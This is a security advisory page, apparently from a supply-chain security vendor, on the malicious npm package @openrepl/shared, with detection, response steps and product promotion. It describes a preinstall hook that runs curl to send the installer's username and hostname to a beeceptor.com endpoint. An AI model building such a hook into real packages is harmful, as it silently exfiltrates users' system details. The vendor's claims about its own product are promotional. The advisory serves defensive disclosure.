@openrepl/sharednpm
@openrepl/shared is a confirmed malicious npm package (MAL-2026-14057) that steals credentials and exfiltrates sensitive data (malicious versions 0.0.4, 0.0.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @openrepl/shared (npm)
What this malware does
package.json declares a preinstall hook (node index.js) that runs automatically on npm install. index.js shells out via child_process to execute curl -X POST against https://youjoex.free.beeceptor.com/$(whoami)/$(hostname), embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a low-effort exfiltration sink. The package advertises no functionality that would justify this network beacon and ships no other library code consistent with its shared name.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @openrepl/shared (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @openrepl/shared across your stack and pipelines.
If you installed it — respond
@openrepl/shared is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @openrepl/shared was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @openrepl/shared before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @openrepl/shared-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.